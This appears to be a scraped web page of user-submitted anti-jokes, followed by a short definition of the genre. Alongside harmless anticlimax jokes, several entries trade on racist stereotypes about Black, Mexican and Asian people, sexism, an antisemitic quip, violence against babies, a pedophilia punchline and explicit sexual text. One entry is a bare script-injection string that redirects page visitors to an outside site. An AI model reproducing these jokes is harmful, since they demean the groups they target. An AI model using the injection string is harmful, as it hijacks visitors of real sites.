a woman walks into a bar, she was quickly kicked out and escorted back to the kitchen

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Why did the young girl fall off of the swing set? Because a man came up behind her and pushed her. He then picked her up, brought her home and fed her a nice three course meal and put her to bed. When she woke up she snuck out of the house and alerted the police.

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A man walks into a bar, the bartender asks "why the long face?" he replies: "I was walking with my wife and was mauled by a bear"

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Roses Are Red Violets Are Blue If it wasnt for christmas We would all be jewish.

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Q: How many babies does it take to paint a wall? A: It depends on how hard you throw them.

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A Mexican, a Chinese man, and a cowboy are on a plane. The plane is crashing, and they need to get rid of anything to make the plane lighter so thet can glide to safety. The cowboy throws out all of his boots and says we have to many of these. Then the Mexican throws out all of his taco shells and says we have to many of these. Then the Chinese man throws out the Mexican and says we have to many of these.(:

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What did the black man get for christmas? A present.

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Steve is getting paid $29.50 to bounce a ball Steve is getting fired monday

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"'>document.location.href="http://cramik.org"

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A man walks into a bar. and buys a drink.

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What is a good remedy for the common cold? A piping hot bowl of chicken-noodle soup.

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Doctor, doctor, I just swallowed a roll of film! That was an incredibly foolish and dangerous thing for you to do. I would be surprised if you survived another day before the chemicals corrode your stomach lining and release hydrofluoric acid throughout your body causing sepsis.

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Why did the girl throw away her hairspray? Because she realized the harmful contaminants emitted from the nozzle were expediting the deterioration of the ozone layer thus contributing to global warming.

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An African-American is working on math problems and notices an Asian man walking by. The African American asked,"Could you help me out on these math problems?" The Asian man replied, " I have never been good at math."

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What's green and has wheels? grass... i lied about the wheels

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whats the same about a donkey and a horse? They are from the same animal classification group.

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Why do Squirrels accidentally plant millions of trees. Because they bury their nuts and forget where they are.

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Wanna hear a joke? Me neither.

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Why did the black man go to jail? Because he committed a criminal offense.

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Why did the wolf cry boy? Cause he was a pedifile.

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Roses are red Violets are blue Chrome won't stop crashing randomly F*ck Chrome

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Why did the black man get fired? In this economy businesses are downsizing and outsourcing jobs for cheaper labor.

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WHAT? FRIENDS? DID YOU NOT READ MY QUICKFUCK PROFILE? Likes: Orgies. Favorite color: Pussy. Description:Looking for women with vaginas (maybe an asshole is fine too) Please, I am a womanizer, of course we are friends, heck I am even romantic, you know romantic as in... Uh... Well, maybe not my rose bud... (because that did really not appear at the solve media right now)

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What did the little boy say when he was asked what he wanted to be when he grew up? Adolf Hitler

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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